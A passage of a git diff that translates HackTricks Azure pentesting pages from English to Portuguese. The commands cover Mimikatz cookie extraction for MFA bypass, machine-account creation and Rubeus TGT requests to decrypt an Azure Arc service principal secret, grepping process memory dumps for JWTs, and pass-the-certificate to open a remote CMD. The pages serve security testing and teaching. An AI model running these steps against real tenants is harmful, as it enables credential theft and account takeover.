-Users can modify their own searchableDeviceKey property via the Azure AD Graph, however, the attacker needs to have a device in the tenant (registered on the fly or having stolen cert + key from a legit device) and a valid access token for the AAD Graph. - -Then, it's possible to generate a new key with: +Os usuários podem modificar sua própria propriedade searchableDeviceKey via o Azure AD Graph, no entanto, o atacante precisa ter um dispositivo no locatário (registrado rapidamente ou tendo roubado o cert + chave de um dispositivo legítimo) e um token de acesso válido para o AAD Graph. +Então, é possível gerar uma nova chave com: ```bash roadtx genhellokey -d -k tempkey.key ``` - -and then PATCH the information of the searchableDeviceKey: +e então PATCH as informações do searchableDeviceKey:
-It's possible to get an access token from a user via **device code phishing** and abuse the previous steps to **steal his access**. For more information check: +É possível obter um token de acesso de um usuário via **phishing de código de dispositivo** e abusar das etapas anteriores para **roubar seu acesso**. Para mais informações, consulte: {{#ref}} az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md @@ -100,14 +94,10 @@ az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-en
-## References +## Referências - [https://youtu.be/BduCn8cLV1A](https://youtu.be/BduCn8cLV1A) - [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g) - [https://www.youtube.com/watch?v=AFay_58QubY](https://www.youtube.com/watch?v=AFay_58QubY) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index 6a0dce1da..5cad16aae 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -1,11 +1,11 @@ -# Az - Enumeration Tools +# Az - Ferramentas de Enumeração {{#include ../../banners/hacktricks-training.md}} -## Install PowerShell in Linux +## Instalar PowerShell no Linux > [!TIP] -> In linux you will need to install PowerShell Core: +> No linux, você precisará instalar o PowerShell Core: > > ```bash > sudo apt-get update @@ -14,11 +14,11 @@ > # Ubuntu 20.04 > wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb > -> # Update repos +> # Atualizar repositórios > sudo apt-get update > sudo add-apt-repository universe > -> # Install & start powershell +> # Instalar e iniciar o powershell > sudo apt-get install -y powershell > pwsh > @@ -26,58 +26,47 @@ > curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash > ``` -## Install PowerShell in MacOS +## Instalar PowerShell no MacOS -Instructions from the [**documentation**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4): - -1. Install `brew` if not installed yet: +Instruções da [**documentação**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4): +1. Instale `brew` se ainda não estiver instalado: ```bash /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" ``` - -2. Install the latest stable release of PowerShell: - +2. Instale a versão estável mais recente do PowerShell: ```sh brew install powershell/tap/powershell ``` - -3. Run PowerShell: - +3. Execute o PowerShell: ```sh pwsh ``` - -4. Update: - +4. Atualização: ```sh brew update brew upgrade powershell ``` - -## Main Enumeration Tools +## Ferramentas Principais de Enumeração ### az cli -[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) is a cross-platform tool written in Python for managing and administering (most) Azure and Entra ID resources. It connects to Azure and executes administrative commands via the command line or scripts. +[**Interface de Linha de Comando do Azure (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) é uma ferramenta multiplataforma escrita em Python para gerenciar e administrar (a maioria) dos recursos do Azure e do Entra ID. Ela se conecta ao Azure e executa comandos administrativos via linha de comando ou scripts. -Follow this link for the [**installation instructions¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install). +Siga este link para as [**instruções de instalação¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install). -Commands in Azure CLI are structured using a pattern of: `az ` +Os comandos na Azure CLI são estruturados usando um padrão de: `az ` #### Debug | MitM az cli -Using the parameter **`--debug`** it's possible to see all the requests the tool **`az`** is sending: - +Usando o parâmetro **`--debug`** é possível ver todas as requisições que a ferramenta **`az`** está enviando: ```bash az account management-group list --output table --debug ``` - -In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can do: +Para fazer um **MitM** na ferramenta e **verificar todas as requisições** que ela está enviando manualmente, você pode fazer: {{#tabs }} {{#tab name="Bash" }} - ```bash export ADAL_PYTHON_SSL_NO_VERIFY=1 export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 @@ -90,64 +79,53 @@ export HTTP_PROXY="http://127.0.0.1:8080" openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem ``` - {{#endtab }} {{#tab name="PS" }} - ```bash $env:ADAL_PYTHON_SSL_NO_VERIFY=1 $env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 $env:HTTPS_PROXY="http://127.0.0.1:8080" $env:HTTP_PROXY="http://127.0.0.1:8080" ``` - {{#endtab }} {{#endtabs }} ### Az PowerShell -Azure PowerShell is a module with cmdlets for managing Azure resources directly from the PowerShell command line. +Azure PowerShell é um módulo com cmdlets para gerenciar recursos do Azure diretamente da linha de comando do PowerShell. -Follow this link for the [**installation instructions**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell). +Siga este link para as [**instruções de instalação**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell). -Commands in Azure PowerShell AZ Module are structured like: `-Az ` +Os comandos no Módulo AZ do Azure PowerShell são estruturados como: `-Az ` #### Debug | MitM Az PowerShell -Using the parameter **`-Debug`** it's possible to see all the requests the tool is sending: - +Usando o parâmetro **`-Debug`** é possível ver todas as requisições que a ferramenta está enviando: ```bash Get-AzResourceGroup -Debug ``` - -In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can set the env variables `HTTPS_PROXY` and `HTTP_PROXY` according to the [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy). +Para fazer um **MitM** na ferramenta e **verificar todas as requisições** que ela está enviando manualmente, você pode definir as variáveis de ambiente `HTTPS_PROXY` e `HTTP_PROXY` de acordo com a [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy). ### Microsoft Graph PowerShell -Microsoft Graph PowerShell is a cross-platform SDK that enables access to all Microsoft Graph APIs, including services like SharePoint, Exchange, and Outlook, using a single endpoint. It supports PowerShell 7+, modern authentication via MSAL, external identities, and advanced queries. With a focus on least privilege access, it ensures secure operations and receives regular updates to align with the latest Microsoft Graph API features. +Microsoft Graph PowerShell é um SDK multiplataforma que permite o acesso a todas as APIs do Microsoft Graph, incluindo serviços como SharePoint, Exchange e Outlook, usando um único endpoint. Ele suporta PowerShell 7+, autenticação moderna via MSAL, identidades externas e consultas avançadas. Com foco no acesso de menor privilégio, garante operações seguras e recebe atualizações regulares para alinhar-se com os últimos recursos da API do Microsoft Graph. -Follow this link for the [**installation instructions**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation). +Siga este link para as [**instruções de instalação**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation). -Commands in Microsoft Graph PowerShell are structured like: `-Mg ` +Os comandos no Microsoft Graph PowerShell são estruturados como: `-Mg ` -#### Debug Microsoft Graph PowerShell - -Using the parameter **`-Debug`** it's possible to see all the requests the tool is sending: +#### Depurar Microsoft Graph PowerShell +Usando o parâmetro **`-Debug`**, é possível ver todas as requisições que a ferramenta está enviando: ```bash Get-MgUser -Debug ``` - ### ~~**AzureAD Powershell**~~ -The Azure Active Directory (AD) module, now **deprecated**, is part of Azure PowerShell for managing Azure AD resources. It provides cmdlets for tasks like managing users, groups, and application registrations in Entra ID. +O módulo Azure Active Directory (AD), agora **obsoleto**, é parte do Azure PowerShell para gerenciar recursos do Azure AD. Ele fornece cmdlets para tarefas como gerenciar usuários, grupos e registros de aplicativos no Entra ID. > [!TIP] -> This is replaced by Microsoft Graph PowerShell - -Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD). - - - +> Isso é substituído pelo Microsoft Graph PowerShell +Siga este link para as [**instruções de instalação**](https://www.powershellgallery.com/packages/AzureAD). diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md index e53ceb412..42d9c336c 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md @@ -2,19 +2,18 @@ {{#include ../../../banners/hacktricks-training.md}} -### Identifying the Issues +### Identificando os Problemas -Azure Arc allows for the integration of new internal servers (joined domain servers) into Azure Arc using the Group Policy Object method. To facilitate this, Microsoft provides a deployment toolkit necessary for initiating the onboarding procedure. Inside the ArcEnableServerGroupPolicy.zip file, the following scripts can be found: DeployGPO.ps1, EnableAzureArc.ps1, and AzureArcDeployment.psm1. +Azure Arc permite a integração de novos servidores internos (servidores de domínio unidos) ao Azure Arc usando o método de Objeto de Política de Grupo. Para facilitar isso, a Microsoft fornece um kit de ferramentas de implantação necessário para iniciar o procedimento de integração. Dentro do arquivo ArcEnableServerGroupPolicy.zip, os seguintes scripts podem ser encontrados: DeployGPO.ps1, EnableAzureArc.ps1 e AzureArcDeployment.psm1. -When executed, the DeployGPO.ps1 script performs the following actions: +Quando executado, o script DeployGPO.ps1 realiza as seguintes ações: -1. Creates the Azure Arc Servers Onboarding GPO within the local domain. -2. Copies the EnableAzureArc.ps1 onboarding script to the designated network share created for the onboarding process, which also contains the Windows installer package. +1. Cria o GPO de Integração de Servidores Azure Arc dentro do domínio local. +2. Copia o script de integração EnableAzureArc.ps1 para o compartilhamento de rede designado criado para o processo de integração, que também contém o pacote de instalação do Windows. -When running this script, sys admins need to provide two main parameters: **ServicePrincipalId** and **ServicePrincipalClientSecret**. Additionally, it requires other parameters such as the domain, the FQDN of the server hosting the share, and the share name. Further details such as the tenant ID, resource group, and other necessary information must also be provided to the script. - -An encrypted secret is generated in the AzureArcDeploy directory on the specified share using DPAPI-NG encryption. The encrypted secret is stored in a file named encryptedServicePrincipalSecret. Evidence of this can be found in the DeployGPO.ps1 script, where the encryption is performed by calling ProtectBase64 with $descriptor and $ServicePrincipalSecret as inputs. The descriptor consists of the Domain Computer and Domain Controller group SIDs, ensuring that the ServicePrincipalSecret can only be decrypted by the Domain Controllers and Domain Computers security groups, as noted in the script comments. +Ao executar este script, os administradores de sistema precisam fornecer dois parâmetros principais: **ServicePrincipalId** e **ServicePrincipalClientSecret**. Além disso, requer outros parâmetros, como o domínio, o FQDN do servidor que hospeda o compartilhamento e o nome do compartilhamento. Detalhes adicionais, como o ID do locatário, grupo de recursos e outras informações necessárias também devem ser fornecidos ao script. +Um segredo criptografado é gerado no diretório AzureArcDeploy no compartilhamento especificado usando criptografia DPAPI-NG. O segredo criptografado é armazenado em um arquivo chamado encryptedServicePrincipalSecret. Evidências disso podem ser encontradas no script DeployGPO.ps1, onde a criptografia é realizada chamando ProtectBase64 com $descriptor e $ServicePrincipalSecret como entradas. O descriptor consiste nos SIDs do grupo de Computadores de Domínio e Controladores de Domínio, garantindo que o ServicePrincipalSecret só possa ser descriptografado pelos Controladores de Domínio e grupos de segurança de Computadores de Domínio, conforme observado nos comentários do script. ```powershell # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups $DomainComputersSID = "SID=" + $DomainComputersSID @@ -23,24 +22,20 @@ $descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR " Import-Module $PSScriptRoot\AzureArcDeployment.psm1 $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret) ``` - ### Exploit -We have the follow conditions: +Temos as seguintes condições: -1. We have successfully penetrated the internal network. -2. We have the capability to create or assume control of a computer account within Active Directory. -3. We have discovered a network share containing the AzureArcDeploy directory. - -There are several methods to obtain a machine account within an AD environment. One of the most common is exploiting the machine account quota. Another method involves compromising a machine account through vulnerable ACLs or various other misconfigurations. +1. Conseguimos penetrar com sucesso na rede interna. +2. Temos a capacidade de criar ou assumir o controle de uma conta de computador dentro do Active Directory. +3. Descobrimos um compartilhamento de rede contendo o diretório AzureArcDeploy. +Existem vários métodos para obter uma conta de máquina dentro de um ambiente AD. Um dos mais comuns é explorar a cota de conta de máquina. Outro método envolve comprometer uma conta de máquina através de ACLs vulneráveis ou várias outras configurações incorretas. ```powershell Import-MKodule powermad New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` - -Once a machine account is obtained, it is possible to authenticate using this account. We can either use the runas.exe command with the netonly flag or use pass-the-ticket with Rubeus.exe. - +Uma vez que uma conta de máquina é obtida, é possível autenticar usando essa conta. Podemos usar o comando runas.exe com a flag netonly ou usar pass-the-ticket com Rubeus.exe. ```powershell runas /user:fake01$ /netonly powershell ``` @@ -48,9 +43,7 @@ runas /user:fake01$ /netonly powershell ```powershell .\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr ``` - -By having the TGT for our computer account stored in memory, we can use the following script to decrypt the service principal secret. - +Ao ter o TGT da nossa conta de computador armazenado na memória, podemos usar o seguinte script para descriptografar o segredo do principal de serviço. ```powershell Import-Module .\AzureArcDeployment.psm1 @@ -59,17 +52,12 @@ $encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedSer $ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret) $ebs ``` +Alternativamente, podemos usar [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG). -Alternatively, we can use [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG). +Neste ponto, podemos coletar as informações restantes necessárias para conectar ao Azure a partir do arquivo ArcInfo.json, que está armazenado na mesma unidade de rede que o arquivo encryptedServicePrincipalSecret. Este arquivo contém detalhes como: TenantId, servicePrincipalClientId, ResourceGroup e mais. Com essas informações, podemos usar o Azure CLI para autenticar como o service principal comprometido. -At this point, we can gather the remaining information needed to connect to Azure from the ArcInfo.json file, which is stored on the same network share as the encryptedServicePrincipalSecret file. This file contains details such as: TenantId, servicePrincipalClientId, ResourceGroup, and more. With this information, we can use Azure CLI to authenticate as the compromised service principal. - -## References +## Referências - [https://xybytes.com/azure/Abusing-Azure-Arc/](https://xybytes.com/azure/Abusing-Azure-Arc/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md index 2ddcbb0a5..8b7bf6158 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md @@ -1,43 +1,39 @@ -# Az - Local Cloud Credentials +# Az - Credenciais de Nuvem Local {{#include ../../../banners/hacktricks-training.md}} -## Local Token Storage and Security Considerations +## Armazenamento Local de Tokens e Considerações de Segurança -### Azure CLI (Command-Line Interface) +### Azure CLI (Interface de Linha de Comando) -Tokens and sensitive data are stored locally by Azure CLI, raising security concerns: +Tokens e dados sensíveis são armazenados localmente pelo Azure CLI, levantando preocupações de segurança: -1. **Access Tokens**: Stored in plaintext within `accessTokens.json` located at `C:\Users\\.Azure`. -2. **Subscription Information**: `azureProfile.json`, in the same directory, holds subscription details. -3. **Log Files**: The `ErrorRecords` folder within `.azure` might contain logs with exposed credentials, such as: - - Executed commands with credentials embedded. - - URLs accessed using tokens, potentially revealing sensitive information. +1. **Tokens de Acesso**: Armazenados em texto simples dentro de `accessTokens.json` localizado em `C:\Users\\.Azure`. +2. **Informações de Assinatura**: `azureProfile.json`, no mesmo diretório, contém detalhes da assinatura. +3. **Arquivos de Log**: A pasta `ErrorRecords` dentro de `.azure` pode conter logs com credenciais expostas, como: +- Comandos executados com credenciais incorporadas. +- URLs acessadas usando tokens, potencialmente revelando informações sensíveis. ### Azure PowerShell -Azure PowerShell also stores tokens and sensitive data, which can be accessed locally: +O Azure PowerShell também armazena tokens e dados sensíveis, que podem ser acessados localmente: -1. **Access Tokens**: `TokenCache.dat`, located at `C:\Users\\.Azure`, stores access tokens in plaintext. -2. **Service Principal Secrets**: These are stored unencrypted in `AzureRmContext.json`. -3. **Token Saving Feature**: Users have the ability to persist tokens using the `Save-AzContext` command, which should be used cautiously to prevent unauthorized access. +1. **Tokens de Acesso**: `TokenCache.dat`, localizado em `C:\Users\\.Azure`, armazena tokens de acesso em texto simples. +2. **Segredos de Principal de Serviço**: Estes são armazenados sem criptografia em `AzureRmContext.json`. +3. **Recurso de Salvamento de Token**: Os usuários têm a capacidade de persistir tokens usando o comando `Save-AzContext`, que deve ser usado com cautela para evitar acesso não autorizado. -## Automatic Tools to find them +## Ferramentas Automáticas para encontrá-los - [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe) - [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1) -## Security Recommendations +## Recomendações de Segurança -Considering the storage of sensitive data in plaintext, it's crucial to secure these files and directories by: +Considerando o armazenamento de dados sensíveis em texto simples, é crucial proteger esses arquivos e diretórios por meio de: -- Limiting access rights to these files. -- Regularly monitoring and auditing these directories for unauthorized access or unexpected changes. -- Employing encryption for sensitive files where possible. -- Educating users about the risks and best practices for handling such sensitive information. +- Limitação dos direitos de acesso a esses arquivos. +- Monitoramento e auditoria regulares desses diretórios para acesso não autorizado ou mudanças inesperadas. +- Emprego de criptografia para arquivos sensíveis sempre que possível. +- Educação dos usuários sobre os riscos e melhores práticas para lidar com tais informações sensíveis. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md index f2a5f2f4d..5284e8af8 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md @@ -4,40 +4,32 @@ ## Pass the Certificate (Azure) -In Azure joined machines, it's possible to authenticate from one machine to another using certificates that **must be issued by Azure AD CA** for the required user (as the subject) when both machines support the **NegoEx** authentication mechanism. +Em máquinas unidas ao Azure, é possível autenticar de uma máquina para outra usando certificados que **devem ser emitidos pelo Azure AD CA** para o usuário necessário (como o sujeito) quando ambas as máquinas suportam o mecanismo de autenticação **NegoEx**. -In super simplified terms: +Em termos super simplificados: -- The machine (client) initiating the connection **needs a certificate from Azure AD for a user**. -- Client creates a JSON Web Token (JWT) header containing PRT and other details, sign it using the Derived key (using the session key and the security context) and **sends it to Azure AD** -- Azure AD verifies the JWT signature using client session key and security context, checks validity of PRT and **responds** with the **certificate**. +- A máquina (cliente) que inicia a conexão **precisa de um certificado do Azure AD para um usuário**. +- O cliente cria um cabeçalho de Token Web JSON (JWT) contendo PRT e outros detalhes, assina usando a chave derivada (usando a chave de sessão e o contexto de segurança) e **o envia para o Azure AD**. +- O Azure AD verifica a assinatura do JWT usando a chave de sessão do cliente e o contexto de segurança, verifica a validade do PRT e **responde** com o **certificado**. -In this scenario and after grabbing all the info needed for a [**Pass the PRT**](pass-the-prt.md) attack: +Neste cenário e após obter todas as informações necessárias para um ataque [**Pass the PRT**](pass-the-prt.md): -- Username -- Tenant ID +- Nome de usuário +- ID do locatário - PRT -- Security context -- Derived Key - -It's possible to **request P2P certificate** for the user with the tool [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:** +- Contexto de segurança +- Chave derivada +É possível **solicitar um certificado P2P** para o usuário com a ferramenta [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:** ```bash RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE] ``` - -The certificates will last the same as the PRT. To use the certificate you can use the python tool [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) that will **authenticate** to the remote machine, run **PSEXEC** and **open a CMD** on the victim machine. This will allow us to use Mimikatz again to get the PRT of another user. - +Os certificados durarão o mesmo que o PRT. Para usar o certificado, você pode usar a ferramenta python [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) que irá **autenticar** na máquina remota, executar **PSEXEC** e **abrir um CMD** na máquina da vítima. Isso nos permitirá usar o Mimikatz novamente para obter o PRT de outro usuário. ```bash Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP ``` +## Referências -## References - -- For more details about how Pass the Certificate works check the original post [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597) +- Para mais detalhes sobre como o Pass the Certificate funciona, consulte o post original [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md index f6695c40a..f3cf134ef 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md @@ -2,40 +2,34 @@ {{#include ../../../banners/hacktricks-training.md}} -## Why Cookies? +## Por que Cookies? -Browser **cookies** are a great mechanism to **bypass authentication and MFA**. Because the user has already authenticated in the application, the session **cookie** can just be used to **access data** as that user, without needing to re-authenticate. +**Cookies** de navegador são um ótimo mecanismo para **contornar a autenticação e MFA**. Como o usuário já se autenticou no aplicativo, o **cookie** de sessão pode ser usado para **acessar dados** como aquele usuário, sem precisar se re-autenticar. -You can see where are **browser cookies located** in: +Você pode ver onde estão **os cookies do navegador** em: {{#ref}} https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts?q=browse#google-chrome {{#endref}} -## Attack +## Ataque -The challenging part is that those **cookies are encrypted** for the **user** via the Microsoft Data Protection API (**DPAPI**). This is encrypted using cryptographic [keys tied to the user](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) the cookies belong to. You can find more information about this in: +A parte desafiadora é que esses **cookies estão criptografados** para o **usuário** via a API de Proteção de Dados da Microsoft (**DPAPI**). Isso é criptografado usando [chaves criptográficas ligadas ao usuário](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) a que os cookies pertencem. Você pode encontrar mais informações sobre isso em: {{#ref}} https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords {{#endref}} -With Mimikatz in hand, I am able to **extract a user’s cookies** even though they are encrypted with this command: - +Com o Mimikatz em mãos, sou capaz de **extrair os cookies de um usuário** mesmo que estejam criptografados com este comando: ```bash mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit ``` +Para o Azure, nos importamos com os cookies de autenticação, incluindo **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`** e **`ESTSAUTHLIGHT`**. Eles estão lá porque o usuário esteve ativo no Azure recentemente. -For Azure, we care about the authentication cookies including **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, and **`ESTSAUTHLIGHT`**. Those are there because the user has been active on Azure lately. +Basta navegar até login.microsoftonline.com e adicionar o cookie **`ESTSAUTHPERSISTENT`** (gerado pela opção “Permanecer Conectado”) ou **`ESTSAUTH`**. E você será autenticado. -Just navigate to login.microsoftonline.com and add the cookie **`ESTSAUTHPERSISTENT`** (generated by “Stay Signed In” option) or **`ESTSAUTH`**. And you will be authenticated. - -## References +## Referências - [https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/](https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md index 28bc5b415..d176abf11 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md @@ -2,10 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} -**Check:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) +**Verifique:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md index a79c7a659..fed663e0c 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md @@ -2,10 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} -**Chec the post in** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) although another post explaining the same can be found in [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) +**Verifique o post em** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) embora outro post explicando o mesmo possa ser encontrado em [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md index 1ba819b3a..9cef230d6 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md @@ -2,16 +2,15 @@ {{#include ../../../banners/hacktricks-training.md}} -## **Basic Information** +## **Informações Básicas** -As explained in [**this video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), some Microsoft software synchronized with the cloud (Excel, Teams...) might **store access tokens in clear-text in memory**. So just **dumping** the **memory** of the process and **grepping for JWT tokens** might grant you access over several resources of the victim in the cloud bypassing MFA. +Como explicado em [**este vídeo**](https://www.youtube.com/watch?v=OHKZkXC4Duw), alguns softwares da Microsoft sincronizados com a nuvem (Excel, Teams...) podem **armazenar tokens de acesso em texto claro na memória**. Portanto, apenas **dumper** a **memória** do processo e **grepando por tokens JWT** pode te conceder acesso a vários recursos da vítima na nuvem, contornando o MFA. -Steps: - -1. Dump the excel processes synchronized with in EntraID user with your favourite tool. -2. Run: `string excel.dmp | grep 'eyJ0'` and find several tokens in the output -3. Find the tokens that interest you the most and run tools over them: +Passos: +1. Dumpe os processos do excel sincronizados com o usuário EntraID com sua ferramenta favorita. +2. Execute: `string excel.dmp | grep 'eyJ0'` e encontre vários tokens na saída. +3. Encontre os tokens que mais lhe interessam e execute ferramentas sobre eles: ```bash # Check the identity of the token curl -s -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/me | jq @@ -31,11 +30,6 @@ curl -s -H "Authorization: Bearer " 'https://graph.microsoft.com/v1.0/sit ┌──(magichk㉿black-pearl)-[~] └─$ curl -o -L -H "Authorization: Bearer " '<@microsoft.graph.downloadUrl>' ``` - -**Note that these kind of access tokens can be also found inside other processes.** +**Observe que esse tipo de token de acesso também pode ser encontrado dentro de outros processos.** {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md index 39ee71d6c..5b764ddf8 100644 --- a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md @@ -2,10 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -To start the tests you should have access with a user with **Reader permissions over the subscription** and **Global Reader role in AzureAD**. If even in that case you are 